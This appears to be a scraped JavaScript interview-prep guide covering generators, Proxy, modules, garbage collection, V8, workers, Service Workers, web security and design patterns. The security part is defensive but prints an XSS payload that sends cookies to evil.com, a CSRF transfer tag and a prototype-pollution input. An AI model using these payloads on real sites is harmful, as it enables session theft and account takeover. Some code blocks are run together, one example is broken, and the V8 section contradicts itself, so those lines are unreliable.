An iterator is any object with a .next() method that returns { value, done }. An iterable is any object with a [Symbol.iterator]() method that returns an iterator. Arrays, strings, Maps, Sets, and generators are all iterable.
Generators enable: lazy evaluation (compute values on demand), infinite sequences, custom iterables, and cooperative multitasking (basis of async/await).
// ── Basic generator ──
function* countUp(start = 0) {
let i = start;
while (true) {
yield i++; // pause here, return current value
}
}
const counter = countUp(1);
console.log(counter.next()); // { value: 1, done: false }
console.log(counter.next()); // { value: 2, done: false }
console.log(counter.next()); // { value: 3, done: false }
// Values generated on demand — no array stored in memory!
// ── Finite generator ──
function* fibonacci(limit = 10) {
let [a, b] = [0, 1];
for (let i = 0; i < limit; i++) {
yield a;
[a, b] = [b, a + b];
}
}
// Use with for...of (auto-calls .next() until done: true)
for (const num of fibonacci(8)) {
console.log(num); // 0, 1, 1, 2, 3, 5, 8, 13
}
// Spread into array
const fibs = [...fibonacci(10)]; // [0, 1, 1, 2, 3, 5, 8, 13, 21, 34]
// ── Sending values INTO a generator ──
function* conversation() {
const name = yield "What is your name?";
const age = yield `Hello ${name}! How old are you?`;
return `${name} is ${age} years old.`;
}
const chat = conversation();
console.log(chat.next()); // { value: "What is your name?", done: false }
console.log(chat.next("Alice")); // { value: "Hello Alice! How old are you?", done: false }
console.log(chat.next(30)); // { value: "Alice is 30 years old.", done: true }
// ── Custom iterable with Symbol.iterator ──
class Range {
constructor(start, end) {
this.start = start;
this.end = end;
}
[Symbol.iterator]() {
let current = this.start;
const end = this.end;
return {
next() {
return current <= end
? { value: current++, done: false }
: { done: true };
}
};
}
}
for (const n of new Range(5, 10)) {
console.log(n); // 5, 6, 7, 8, 9, 10
}
console.log([...new Range(1, 5)]); // [1, 2, 3, 4, 5]
// ── Practical: paginated API fetch ──
async function* fetchPages(baseUrl) {
let page = 1;
while (true) {
const response = await fetch(`${baseUrl}?page=${page}`);
const data = await response.json();
if (data.results.length === 0) return; // no more pages
yield data.results;
page++;
}
}
// Usage:
// for await (const page of fetchPages("/api/users")) {
// page.forEach(user => renderUser(user));
// }
A data pipeline processing 50GB CSV files used generators to read and transform one line at a time instead of loading the entire file into memory. Memory usage dropped from 8GB (out-of-memory crashes) to a constant 50MB regardless of file size.
Candidates forget that generators are lazy — calling the function doesn't execute the body:
function* gen() {
console.log("Start"); // never runs!
yield 1;
}
gen(); // nothing printed — just creates generator object
// Must call .next() or use for...of to executefunction* gen() {
console.log("Start"); // runs on first .next()
yield 1;
}
const g = gen();
g.next(); // prints "Start", returns { value: 1, done: false }How are async generators (async function*) different from regular generators?
A Proxy wraps an object and intercepts fundamental operations (get, set, delete, function calls, etc.) via trap functions in a handler. It lets you define custom behaviour for basic object operations — this is called metaprogramming.
Reflect is a companion API with static methods matching every Proxy trap. It provides the default behaviour for each operation, making it easy to add custom logic while preserving normal behaviour.
Use cases: validation, logging/debugging, reactive systems (Vue.js 3 uses Proxy for reactivity), lazy loading, access control, negative array indexing, and auto-populated objects.
// ── Basic Proxy: validation ──
const validator = {
set(target, prop, value) {
if (prop === "age") {
if (typeof value !== "number" || value < 0 || value > 150) {
throw new TypeError(`Invalid age: ${value}`);
}
}
if (prop === "email") {
if (typeof value !== "string" || !value.includes("@")) {
throw new TypeError(`Invalid email: ${value}`);
}
}
target[prop] = value;
return true; // indicate success
}
};
const user = new Proxy({}, validator);
user.name = "Alice"; // ✅
user.age = 30; // ✅
// user.age = -5; // TypeError: Invalid age: -5
// user.email = "bad"; // TypeError: Invalid email: bad
// ── Logging proxy ──
function createLogger(obj, label) {
return new Proxy(obj, {
get(target, prop) {
console.log(`[${label}] GET ${String(prop)} → ${target[prop]}`);
return Reflect.get(target, prop);
},
set(target, prop, value) {
console.log(`[${label}] SET ${String(prop)} = ${value}`);
return Reflect.set(target, prop, value);
}
});
}
const config = createLogger({ theme: "dark" }, "Config");
config.theme; // [Config] GET theme → dark
config.lang = "en"; // [Config] SET lang = en
// ── Negative array indexing (Python-style) ──
function negativeArray(arr) {
return new Proxy(arr, {
get(target, prop) {
const index = Number(prop);
if (Number.isInteger(index) && index < 0) {
return target[target.length + index];
}
return Reflect.get(target, prop);
}
});
}
const arr = negativeArray([10, 20, 30, 40, 50]);
console.log(arr[-1]); // 50
console.log(arr[-2]); // 40
// ── Reactive system (simplified Vue.js 3 pattern) ──
const effects = new Map();
let activeEffect = null;
function reactive(obj) {
return new Proxy(obj, {
get(target, prop) {
if (activeEffect) {
if (!effects.has(prop)) effects.set(prop, new Set());
effects.get(prop).add(activeEffect);
}
return Reflect.get(target, prop);
},
set(target, prop, value) {
Reflect.set(target, prop, value);
if (effects.has(prop)) {
effects.get(prop).forEach(fn => fn()); // trigger watchers
}
return true;
}
});
}
const state = reactive({ count: 0 });
// ── Reflect: default behaviour companion ──
// Reflect.get(target, prop) — same as target[prop]
// Reflect.set(target, prop, value) — same as target[prop] = value
// Reflect.has(target, prop) — same as prop in target
// Reflect.deleteProperty(target, prop) — same as delete target[prop]
// Reflect.ownKeys(target) — returns all own keys (like Object.keys + symbols)
Vue.js 3 replaced Object.defineProperty() (Vue 2) with Proxy for its reactivity system. This allowed detecting property additions/deletions (impossible with defineProperty), reduced code complexity by 40%, and improved performance for large reactive objects from O(n) to O(1) initialization.
Candidates forget to return true from the set trap in strict mode, or they don't use Reflect for default behaviour:
const p = new Proxy({}, {
set(target, prop, value) {
target[prop] = value;
// missing return true → TypeError in strict mode!
}
});const p = new Proxy({}, {
set(target, prop, value) {
console.log(`Setting ${String(prop)}`);
return Reflect.set(target, prop, value); // returns true
}
});What are the performance implications of using Proxy? When should you avoid it?
ES Modules (ESM) use import/export syntax (ES6 standard). They're statically analysed — imports are resolved at parse time, enabling tree-shaking (dead code elimination). They're the official standard for JavaScript modules.
CommonJS (CJS) uses require()/module.exports. It was created for Node.js before ESM existed. CJS is dynamic — require() can appear inside if-blocks, loops, or functions. It loads synchronously.
Key differences: ESM has static analysis + tree-shaking, top-level await, and is async. CJS is synchronous, dynamic, and can't be tree-shaken. Modern code should use ESM. Node.js supports both (use "type": "module" in package.json or .mjs extension for ESM).
// ── ES Modules (ESM) ──
// math.js — named exports
export function add(a, b) { return a + b; }
export function multiply(a, b) { return a * b; }
export const PI = 3.14159;
// math.js — default export
export default class Calculator {
add(a, b) { return a + b; }
}
// app.js — importing
import Calculator from "./math.js"; // default import
import { add, multiply, PI } from "./math.js"; // named imports
import { add as sum } from "./math.js"; // rename
import * as math from "./math.js"; // namespace import
// Dynamic import (lazy loading)
async function loadChart() {
const { Chart } = await import("./chart.js"); // loaded on demand
return new Chart();
}
// Re-exporting (barrel file)
// index.js
export { add, multiply } from "./math.js";
export { default as Logger } from "./logger.js";
// ── CommonJS (CJS) ──
// math.js — exporting
function add(a, b) { return a + b; }
function multiply(a, b) { return a * b; }
module.exports = { add, multiply };
// or: exports.add = add;
// app.js — importing
const { add, multiply } = require("./math");
const math = require("./math");
// Dynamic (conditional) require — valid in CJS, invalid in ESM
if (process.env.NODE_ENV === "production") {
const monitor = require("./monitoring"); // only loaded in prod
}
// ── Key differences ──
// | Feature | ESM | CommonJS |
// |--------------------|------------------------|-----------------------|
// | Syntax | import/export | require/module.exports|
// | Loading | Async | Synchronous |
// | Static analysis | Yes (tree-shaking!) | No |
// | Top-level await | Yes | No |
// | this at top level | undefined | module.exports |
// | File extension | .mjs or "type":"module"| .cjs or default |
// | Browser support | Native (script type=module) | Needs bundler |
// | Conditional import | Dynamic import() | require() anywhere |
// ── package.json for ESM ──
// { "type": "module" } → all .js files treated as ESM
// { "type": "commonjs" } → all .js files treated as CJS (default)
A React app migrated from CJS to ESM across 800 files. Webpack's tree-shaking eliminated 40% of the bundle (dead code from utility libraries like lodash). Bundle size dropped from 1.2MB to 720KB, improving initial page load by 1.8 seconds on mobile.
Candidates mix ESM and CJS syntax in the same file:
import express from "express";
const lodash = require("lodash"); // SyntaxError in ESM!
// Cannot use require() in an ES module// ESM only:
import express from "express";
import lodash from "lodash";
// Or use createRequire for CJS packages in ESM:
import { createRequire } from "module";
const require = createRequire(import.meta.url);
const legacy = require("./cjs-only-package");What is tree-shaking and how does it work with ES modules?
JavaScript uses automatic garbage collection (GC) — the engine periodically finds objects that are no longer reachable (no references from root objects like global scope, call stack, closures) and frees their memory.
The primary algorithm is Mark-and-Sweep: starting from "roots" (global object, current call stack, closures), the GC traverses all reachable objects and marks them. Then it sweeps through all allocated memory and frees any unmarked (unreachable) objects.
Modern engines (V8) use generational GC: a fast "minor GC" for short-lived objects (nursery/young generation) and a slower "major GC" for long-lived objects (old generation). Most objects die young, so the minor GC is very efficient.
// ── Reachability determines GC ──
// Object is reachable via variable
let user = { name: "Alice", age: 30 };
// user → {name: "Alice"} — reachable, NOT collected
user = null;
// No reference to {name: "Alice"} — WILL be collected
// ── Circular references (NOT a problem for Mark-and-Sweep) ──
function createCircular() {
const a = {};
const b = {};
a.ref = b;
b.ref = a; // circular reference
return "done";
}
createCircular();
// Both a and b are unreachable after function returns
// Mark-and-Sweep handles this — reference counting would fail
// ── Common memory leak patterns ──
// 1. Forgotten timers
let leakyData = loadHugeDataset(); // 100MB
setInterval(() => {
// This closure keeps leakyData alive forever!
console.log(leakyData.length);
}, 1000);
// Fix: clearInterval when done, or use WeakRef
// 2. Closures holding large data
function processData() {
const hugeArray = new Array(1_000_000).fill("data");
return function getLength() {
return hugeArray.length; // closure keeps hugeArray alive!
};
}
const getLen = processData(); // hugeArray lives in memory
// Fix: extract only what you need
function processDataFixed() {
const hugeArray = new Array(1_000_000).fill("data");
const length = hugeArray.length;
return function getLength() {
return length; // only number in closure, not entire array
};
}
// 3. Detached DOM nodes
const elements = [];
function addElement() {
const div = document.createElement("div");
document.body.appendChild(div);
elements.push(div); // strong reference in array
document.body.removeChild(div); // removed from DOM but NOT GC'd!
}
// Fix: use WeakSet or remove from array
// 4. Global variables
function leak() {
accidental = "I'm global!"; // missing let/const — becomes window.accidental
}
// ── Memory profiling ──
// Chrome DevTools → Memory tab → Take Heap Snapshot
// Look for: detached DOM nodes, growing arrays, large closures
// Compare snapshots to find leaks
// ── V8 GC generations ──
// Young generation (Scavenger): 1-8MB, very fast, minor GC
// - Most objects die here (temporary variables, function locals)
// Old generation (Mark-Sweep/Mark-Compact): larger, slower, major GC
// - Objects that survive multiple minor GCs get promoted here
// - Full GC pauses: typically 1-10ms with incremental marking
A Node.js API server had a memory leak: response objects were stored in a debugging Map that was never cleared. After 24 hours, the process consumed 4GB and crashed. Using Chrome DevTools heap snapshots, the team found 500K retained response objects. Adding a TTL-based cleanup to the Map and switching to WeakMap for non-critical caching fixed the leak.
Candidates say "circular references cause memory leaks in JavaScript" — this was true for IE6's reference counting GC, but modern Mark-and-Sweep handles circular references fine:
// "This leaks because a and b reference each other"
let a = {};
let b = {};
a.ref = b;
b.ref = a;
a = null;
b = null;
// NOT a leak! Mark-and-Sweep sees both are unreachable → collected// Real leak: event listeners on removed elements
const button = document.getElementById("btn");
button.addEventListener("click", handler);
button.remove(); // removed from DOM but handler keeps a reference
// Fix: button.removeEventListener("click", handler); before remove()How do you use Chrome DevTools to find and fix memory leaks?
Symbols are a primitive type (ES6) that creates guaranteed unique identifiers. Two symbols are never equal, even if they have the same description: Symbol("id") !== Symbol("id").
Symbols solve the property name collision problem — you can add properties to objects without risk of overwriting existing ones. They're used by the language itself for "well-known symbols" like Symbol.iterator, Symbol.toPrimitive, and Symbol.hasInstance.
Symbol properties are not enumerable by default — they don't show up in for...in, Object.keys(), or JSON.stringify(). Use Object.getOwnPropertySymbols() to access them.
// ── Creating symbols ──
const sym1 = Symbol("id");
const sym2 = Symbol("id");
console.log(sym1 === sym2); // false — always unique!
console.log(typeof sym1); // "symbol"
// ── Symbols as unique property keys ──
const ID = Symbol("id");
const user = {
name: "Alice",
[ID]: 12345, // symbol-keyed property
};
console.log(user[ID]); // 12345
console.log(user.ID); // undefined — dot notation doesn't work with symbols
// ── Hidden from normal enumeration ──
console.log(Object.keys(user)); // ["name"] — no symbol
console.log(JSON.stringify(user)); // {"name":"Alice"} — no symbol
console.log(Object.getOwnPropertySymbols(user)); // [Symbol(id)]
// ── Avoiding property collisions (library code) ──
// Two libraries can add properties to the same object safely
const libA_key = Symbol("metadata");
const libB_key = Symbol("metadata"); // different symbol despite same description
const sharedObj = {};
sharedObj[libA_key] = { source: "Library A" };
sharedObj[libB_key] = { source: "Library B" };
// No collision! Both properties coexist
// ── Symbol.for() — global symbol registry ──
const globalSym1 = Symbol.for("app.config");
const globalSym2 = Symbol.for("app.config");
console.log(globalSym1 === globalSym2); // true — shared across files!
console.log(Symbol.keyFor(globalSym1)); // "app.config"
// ── Well-known symbols (customize language behaviour) ──
// Symbol.iterator — make object iterable
class Range {
constructor(start, end) {
this.start = start;
this.end = end;
}
[Symbol.iterator]() {
let current = this.start;
const end = this.end;
return {
next() {
return current <= end
? { value: current++, done: false }
: { done: true };
}
};
}
}
console.log([...new Range(1, 5)]); // [1, 2, 3, 4, 5]
// Symbol.toPrimitive — customize type conversion
class Money {
constructor(amount, currency) {
this.amount = amount;
this.currency = currency;
}
[Symbol.toPrimitive](hint) {
if (hint === "number") return this.amount;
if (hint === "string") return `${this.currency} ${this.amount}`;
return this.amount; // default
}
}
const price = new Money(29.99, "USD");
console.log(+price); // 29.99 (number hint)
console.log(`${price}`); // "USD 29.99" (string hint)
console.log(price + 10); // 39.99 (default hint → number)
A plugin system used Symbols as keys for internal metadata on DOM elements. Third-party plugins could attach data to elements without conflicting with each other or the core library. This replaced a fragile naming convention (prefixing keys with "__libname_") that had caused 5 collision bugs in production.
Candidates try to coerce symbols to strings using concatenation:
const sym = Symbol("test");
console.log("Symbol: " + sym); // TypeError: Cannot convert a Symbol to a stringconst sym = Symbol("test");
console.log(`Symbol: ${sym.toString()}`); // "Symbol: Symbol(test)"
console.log(`Symbol: ${sym.description}`); // "Symbol: test"
console.log(String(sym)); // "Symbol(test)"What is Symbol.hasInstance and how can you customize the instanceof operator?
V8 is Google's JavaScript engine (used in Chrome and Node.js). It compiles JavaScript directly to machine code — no bytecode interpreter in the traditional sense. The pipeline: Parser → AST → Ignition (bytecode interpreter) → TurboFan (optimizing compiler).
Ignition quickly generates compact bytecode for fast startup. As code runs, V8 profiles it. Functions that run frequently ("hot" code) get sent to TurboFan, which produces highly optimized machine code using techniques like inlining, escape analysis, and hidden classes.
If TurboFan's assumptions are violated (e.g., a variable's type changes), it deoptimizes — falls back to Ignition bytecode. This is why consistent types matter for performance. V8 also uses hidden classes (Shapes/Maps) to optimize property access — objects with the same properties in the same order share a hidden class.
// ── Hidden classes: property order matters ──
// V8 creates internal "hidden classes" for object shapes
// GOOD: same property order → shared hidden class → fast
function createUserGood(name, age) {
const user = {};
user.name = name; // hidden class transition 1
user.age = age; // hidden class transition 2
return user;
}
// All users share the same hidden class → optimized property access
// BAD: different property order → different hidden classes → slow
function createUserBad(name, age, isAdmin) {
const user = {};
if (isAdmin) {
user.role = "admin"; // different order!
user.name = name;
user.age = age;
} else {
user.name = name;
user.age = age;
}
return user;
}
// Admin users have different hidden class → deoptimized access
// ── Inline caches (IC): monomorphic vs polymorphic ──
// GOOD: function always receives same type → monomorphic (fast)
function addNumbers(a, b) {
return a + b; // V8 optimizes for number + number
}
addNumbers(1, 2); // V8 sees: both numbers
addNumbers(3, 4); // confirmed: both numbers → inline cache hit
addNumbers(5, 6); // TurboFan optimizes to machine add instruction
// BAD: different types → polymorphic/megamorphic (slow)
function addMixed(a, b) {
return a + b;
}
addMixed(1, 2); // number + number
addMixed("a", "b"); // string + string → different IC entry
addMixed(1, "2"); // number + string → IC becomes megamorphic → deoptimize
// ── Deoptimization triggers ──
// 1. Changing object shape after creation
const obj = { x: 1, y: 2 };
delete obj.x; // forces hidden class change → deoptimize
// Fix: set to undefined instead: obj.x = undefined;
// 2. try/catch used to prevent optimization (old V8, now fixed)
// 3. Arguments object leaking
function bad() {
return arguments; // prevents optimization in some cases
}
function good(...args) {
return args; // rest params are optimizable
}
// ── Practical: V8 optimization tips ──
// 1. Initialize all properties in constructor
class Point {
constructor(x, y) {
this.x = x; // always same order
this.y = y;
this.z = 0; // initialize all upfront, even if unused
}
}
// 2. Don't change variable types
let count = 0; // V8 says: it's a Smi (small integer)
count = "hello"; // V8: deoptimize! type changed
// 3. Use TypedArrays for numerical work
const float64 = new Float64Array(1000);
// Guaranteed type → no type checks needed → C-speed access
// ── V8 compilation pipeline summary ──
// Source → Parser → AST → Ignition (bytecode) → runs
// ↓ (hot code detected)
// TurboFan (optimized machine code)
// ↓ (assumption violated)
// Deoptimize → back to Ignition
A trading dashboard rendering 10K rows had 300ms render times. V8 profiling revealed megamorphic inline caches — each row object had properties added in different orders (conditional fields). Normalizing the object shape (always setting all properties, even as null) reduced render time to 45ms — a 6.7x speedup with zero algorithmic changes.
Candidates micro-optimize without profiling, or they apply V8-specific optimizations that the engine already handles:
// "I always use bitwise OR instead of Math.floor for speed"
const fast = (4.9 | 0); // 4 — truncates to int
// This saves nanoseconds but hurts readability
// V8 already optimizes Math.floor for integer inputs// Profile with Chrome DevTools → Performance tab
// Identify actual bottlenecks, then optimize
// Object shape consistency and algorithm choice matter
// more than micro-optimizations
const result = Math.floor(4.9); // readable, fast enoughWhat is Spectre/Meltdown and how did it affect JavaScript engine design (SharedArrayBuffer, high-res timers)?
Web Workers run JavaScript in a background thread, separate from the main thread. This allows CPU-intensive work (parsing, compression, image processing, complex calculations) without blocking the UI.
Workers communicate with the main thread via message passing (postMessage/onmessage). They can't access the DOM, window, or document. Data is copied (structured clone) by default, but Transferable objects (ArrayBuffer, OffscreenCanvas) can be transferred with zero-copy for better performance.
Types: Dedicated Workers (one owner), Shared Workers (multiple tabs), and Service Workers (proxy between browser and network — for caching/offline). Module Workers support import statements.
// ── Main thread (app.js) ──
const worker = new Worker("worker.js");
// Send data to worker
worker.postMessage({
task: "processData",
data: largeDataArray, // structured clone (copy)
});
// Receive results
worker.onmessage = (event) => {
console.log("Result:", event.data);
renderResults(event.data);
};
worker.onerror = (error) => {
console.error("Worker error:", error.message);
};
// ── Worker thread (worker.js) ──
self.onmessage = (event) => {
const { task, data } = event.data;
if (task === "processData") {
// Heavy computation — doesn't block UI!
const result = data
.filter(item => item.score > 50)
.map(item => ({
...item,
grade: calculateGrade(item.score),
percentile: calculatePercentile(item.score, data),
}))
.sort((a, b) => b.score - a.score);
self.postMessage(result);
}
};
// ── Transferable objects (zero-copy transfer) ──
// Main thread
const buffer = new ArrayBuffer(1024 * 1024); // 1MB
worker.postMessage(buffer, [buffer]); // transfer, not copy
console.log(buffer.byteLength); // 0 — ownership transferred!
// Worker
self.onmessage = (event) => {
const buffer = event.data; // received without copying
const view = new Float64Array(buffer);
// Process data...
self.postMessage(buffer, [buffer]); // transfer back
};
// ── Module Worker (ES modules in workers) ──
const moduleWorker = new Worker("worker.js", { type: "module" });
// worker.js (module worker)
import { processImage } from "./image-utils.js";
self.onmessage = async (event) => {
const result = await processImage(event.data);
self.postMessage(result);
};
// ── Worker pool pattern ──
class WorkerPool {
constructor(workerScript, size = navigator.hardwareConcurrency || 4) {
this.workers = Array.from({ length: size }, () => new Worker(workerScript));
this.queue = [];
this.available = [...this.workers];
}
runTask(data) {
return new Promise((resolve, reject) => {
const task = { data, resolve, reject };
if (this.available.length > 0) {
this.dispatch(this.available.pop(), task);
} else {
this.queue.push(task); // wait for available worker
}
});
}
dispatch(worker, task) {
worker.onmessage = (e) => {
task.resolve(e.data);
this.available.push(worker);
if (this.queue.length > 0) {
this.dispatch(this.available.pop(), this.queue.shift());
}
};
worker.onerror = (e) => task.reject(e);
worker.postMessage(task.data);
}
terminate() {
this.workers.forEach(w => w.terminate());
}
}
// Usage:
// const pool = new WorkerPool("compute.js", 4);
// const results = await Promise.all(
// chunks.map(chunk => pool.runTask(chunk))
// );
A photo editing web app used the main thread for image filters, causing the UI to freeze for 3-5 seconds per operation. Moving filter computation to a Web Worker pool (4 workers, one per CPU core) reduced perceived processing time to 0.8 seconds while keeping the UI fully responsive — users could adjust settings during processing.
Candidates try to access the DOM from a worker or send non-cloneable objects:
// worker.js
self.onmessage = () => {
document.getElementById("result").textContent = "Done";
// ReferenceError: document is not defined
// Workers have NO DOM access!
};// worker.js
self.onmessage = (e) => {
const result = heavyComputation(e.data);
self.postMessage(result); // send result back
};
// main.js
worker.onmessage = (e) => {
document.getElementById("result").textContent = e.data; // DOM update here
};What is SharedArrayBuffer and Atomics? How do they enable shared memory between threads?
A Service Worker is a script that runs in the background, separate from the web page. It acts as a programmable network proxy — intercepting network requests and deciding how to respond (network, cache, or custom response). This enables offline-first experiences, push notifications, and background sync.
Service Worker lifecycle: Register → Install (pre-cache assets) → Activate (clean old caches) → Fetch (intercept requests). Once installed, it persists across page reloads and works even when the page is closed.
The Cache API (caches.open(), cache.put(), cache.match()) stores request/response pairs. Combined with Service Workers, you can implement strategies like Cache First, Network First, Stale While Revalidate, and Cache Only.
// ── Registration (main.js) ──
if ("serviceWorker" in navigator) {
navigator.serviceWorker.register("/sw.js", { scope: "/" })
.then(reg => console.log("SW registered:", reg.scope))
.catch(err => console.error("SW registration failed:", err));
}
// ── Service Worker (sw.js) ──
const CACHE_NAME = "app-v2";
const STATIC_ASSETS = [
"/",
"/index.html",
"/styles.css",
"/app.js",
"/offline.html",
"/icons/logo-192.png",
];
// ── Install: pre-cache static assets ──
self.addEventListener("install", (event) => {
event.waitUntil(
caches.open(CACHE_NAME)
.then(cache => cache.addAll(STATIC_ASSETS))
.then(() => self.skipWaiting()) // activate immediately
);
});
// ── Activate: clean up old caches ──
self.addEventListener("activate", (event) => {
event.waitUntil(
caches.keys().then(keys =>
Promise.all(
keys
.filter(key => key !== CACHE_NAME)
.map(key => caches.delete(key))
)
).then(() => self.clients.claim()) // take control of pages
);
});
// ── Fetch: intercept network requests ──
self.addEventListener("fetch", (event) => {
const { request } = event;
// Strategy 1: Cache First (for static assets)
if (request.destination === "image" || request.url.includes("/static/")) {
event.respondWith(
caches.match(request)
.then(cached => cached || fetch(request).then(response => {
const clone = response.clone();
caches.open(CACHE_NAME).then(cache => cache.put(request, clone));
return response;
}))
);
return;
}
// Strategy 2: Network First (for API calls)
if (request.url.includes("/api/")) {
event.respondWith(
fetch(request)
.then(response => {
const clone = response.clone();
caches.open(CACHE_NAME).then(cache => cache.put(request, clone));
return response;
})
.catch(() => caches.match(request)) // fallback to cache
);
return;
}
// Strategy 3: Stale While Revalidate (for HTML pages)
event.respondWith(
caches.match(request).then(cached => {
const fetchPromise = fetch(request).then(response => {
const clone = response.clone();
caches.open(CACHE_NAME).then(cache => cache.put(request, clone));
return response;
});
return cached || fetchPromise; // serve cache immediately, update in background
}).catch(() => caches.match("/offline.html"))
);
});
// ── Caching strategies summary ──
// | Strategy | Use Case | Behavior |
// |-----------------------|-----------------------|---------------------------------|
// | Cache First | Static assets, fonts | Cache → network (if miss) |
// | Network First | API data, dynamic | Network → cache (if offline) |
// | Stale While Revalidate| HTML pages | Cache now, update in background |
// | Cache Only | Pre-cached assets | Cache only, never network |
// | Network Only | Analytics, logs | Network only, never cache |
A field service app used by technicians in remote areas implemented Service Workers with a Cache First strategy for the UI and Network First for work orders. Technicians could view and update work orders offline, with changes syncing automatically when connectivity returned. The app worked in 15-second connectivity windows in underground facilities.
Candidates forget that Service Workers require HTTPS and have a lifecycle with waiting states:
// Updated sw.js won't take effect until ALL tabs are closed!
// New SW installs but waits for old SW to release control
// Users don't see updates until they close all tabs// In install handler:
self.skipWaiting(); // skip waiting, activate immediately
// In activate handler:
self.clients.claim(); // take control of existing pages
// Or prompt user to refresh:
// navigator.serviceWorker.addEventListener("controllerchange", () => {
// window.location.reload();
// });How do you handle Service Worker updates without breaking the user experience?
XSS (Cross-Site Scripting): Attacker injects malicious scripts into web pages viewed by other users. Three types: Stored (saved in DB, affects all viewers), Reflected (in URL parameters, affects victims who click the link), and DOM-based (client-side JS inserts untrusted data into the DOM).
CSRF (Cross-Site Request Forgery): Attacker tricks a logged-in user's browser into making unintended requests (e.g., an <img> tag that sends a GET to /api/transfer?amount=10000). The browser automatically includes cookies with the request.
Other risks: prototype pollution (modifying Object.prototype via user input), insecure dependencies (npm supply chain attacks), eval() / innerHTML injection, and open redirects.
// ── XSS: the vulnerability ──
// BAD: inserting user input as HTML
const userInput = '<img src=x onerror="fetch(`https://evil.com/steal?cookie=${document.cookie}`)">'
document.getElementById("output").innerHTML = userInput; // EXECUTES!
// ── XSS Prevention ──
// 1. Use textContent instead of innerHTML
document.getElementById("output").textContent = userInput; // safe — renders as text
// 2. Sanitize HTML if you MUST render it
function sanitizeHTML(str) {
const div = document.createElement("div");
div.textContent = str;
return div.innerHTML; // HTML-encoded
}
// Or use DOMPurify library:
// import DOMPurify from "dompurify";
// element.innerHTML = DOMPurify.sanitize(userInput);
// 3. Content Security Policy (HTTP header)
// Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self'
// Prevents inline scripts and external script loading
// ── CSRF: the vulnerability ──
// Attacker's page: <img src="https://bank.com/transfer?to=attacker&amount=10000">
// If user is logged into bank.com, browser sends cookies automatically!
// ── CSRF Prevention ──
// 1. CSRF tokens (most common)
async function submitForm(data) {
const csrfToken = document.querySelector('meta[name="csrf-token"]').content;
await fetch("/api/transfer", {
method: "POST",
headers: {
"Content-Type": "application/json",
"X-CSRF-Token": csrfToken, // server validates this
},
body: JSON.stringify(data),
});
}
// 2. SameSite cookie attribute
// Set-Cookie: session=abc123; SameSite=Strict; Secure; HttpOnly
// SameSite=Strict: cookie not sent with cross-site requests
// HttpOnly: cookie not accessible via JavaScript (prevents XSS cookie theft)
// ── Prototype pollution ──
// BAD: merging user input into objects
function merge(target, source) {
for (const key in source) {
target[key] = source[key]; // dangerous!
}
}
const malicious = JSON.parse('{"__proto__": {"isAdmin": true}}');
merge({}, malicious);
console.log({}.isAdmin); // true — ALL objects now have isAdmin!
// SAFE: check for dangerous keys
function safeMerge(target, source) {
for (const key of Object.keys(source)) {
if (key === "__proto__" || key === "constructor" || key === "prototype") {
continue; // skip dangerous keys
}
target[key] = source[key];
}
}
// ── eval() and Function() ──
// NEVER use eval with user input
// eval(userInput); // arbitrary code execution!
// new Function(userInput)(); // same risk
// ── npm supply chain security ──
// npm audit — check for known vulnerabilities
// Use lock files (package-lock.json)
// Review new dependencies before installing
// Use npm audit signatures to verify package integrity
A social media platform had a stored XSS vulnerability in user bios. An attacker injected a script that stole session cookies and sent them to an external server, compromising 2,000 accounts in 48 hours. The fix: switching from innerHTML to textContent for user-generated content, adding CSP headers, and setting HttpOnly + SameSite=Strict on session cookies.
Candidates sanitize output but not the right way — encoding for wrong context:
// User input goes into a script tag
const username = "<script>alert(1)</script>"; // HTML-encoded
// But in JS context:
const script = ``;
// The encoding doesn't help in JS context!// HTML context → HTML encode
element.textContent = userInput;
// URL context → URL encode
const url = `/search?q=${encodeURIComponent(userInput)}`;
// JS context → avoid entirely, use data attributes
// + element.dataset.name What is Content Security Policy (CSP) and how do you configure it?
Design patterns are reusable solutions to common software problems. JavaScript's flexibility (first-class functions, closures, prototypes) means many classical OOP patterns are simpler or unnecessary, while some patterns are uniquely powerful.
Most important patterns: Module (encapsulation via closures/ES modules), Observer/PubSub (event-driven communication), Factory (object creation without new), Singleton (single instance), Strategy (swappable algorithms), Decorator (add behaviour without modification), and Middleware (pipeline processing).
Anti-patterns to avoid: God objects, excessive inheritance (prefer composition), callback hell, and over-engineering with patterns that add complexity without value.
// ── Module Pattern (encapsulation) ──
const AuthModule = (() => {
let token = null; // private
return {
login(credentials) {
token = authenticate(credentials);
return !!token;
},
getToken() { return token; },
logout() { token = null; },
};
})();
// ── Observer / PubSub (event-driven) ──
class EventEmitter {
constructor() {
this.listeners = new Map();
}
on(event, callback) {
if (!this.listeners.has(event)) this.listeners.set(event, []);
this.listeners.get(event).push(callback);
return () => this.off(event, callback); // return unsubscribe fn
}
off(event, callback) {
const cbs = this.listeners.get(event);
if (cbs) this.listeners.set(event, cbs.filter(cb => cb !== callback));
}
emit(event, data) {
(this.listeners.get(event) || []).forEach(cb => cb(data));
}
}
const bus = new EventEmitter();
const unsub = bus.on("user:login", user => console.log(`Welcome, ${user.name}`));
bus.emit("user:login", { name: "Alice" }); // "Welcome, Alice"
unsub(); // clean up
// ── Factory Pattern (flexible object creation) ──
function createNotification(type, message) {
const base = { id: crypto.randomUUID(), message, timestamp: Date.now() };
switch (type) {
case "success": return { ...base, icon: "✅", color: "#22c55e" };
case "error": return { ...base, icon: "❌", color: "#ef4444" };
case "warning": return { ...base, icon: "⚠️", color: "#f59e0b" };
default: return { ...base, icon: "ℹ️", color: "#3b82f6" };
}
}
// ── Strategy Pattern (swappable algorithms) ──
const sortStrategies = {
price: (a, b) => a.price - b.price,
rating: (a, b) => b.rating - a.rating,
name: (a, b) => a.name.localeCompare(b.name),
relevance: (a, b) => b.score - a.score,
};
function sortProducts(products, strategy = "relevance") {
return [...products].sort(sortStrategies[strategy]);
}
// ── Middleware Pattern (pipeline) ──
class App {
constructor() { this.middlewares = []; }
use(fn) { this.middlewares.push(fn); }
async handle(request) {
let index = 0;
const next = async () => {
if (index < this.middlewares.length) {
await this.middlewares[index++](request, next);
}
};
await next();
return request;
}
}
const app = new App();
app.use(async (req, next) => { req.startTime = Date.now(); await next(); });
app.use(async (req, next) => { console.log(`${req.method} ${req.url}`); await next(); });
app.use(async (req, next) => { req.user = await authenticate(req); await next(); });
// ── Singleton (single instance) ──
class Database {
static instance = null;
static getInstance() {
if (!Database.instance) {
Database.instance = new Database();
}
return Database.instance;
}
constructor() {
if (Database.instance) throw new Error("Use Database.getInstance()");
this.connection = null;
}
}
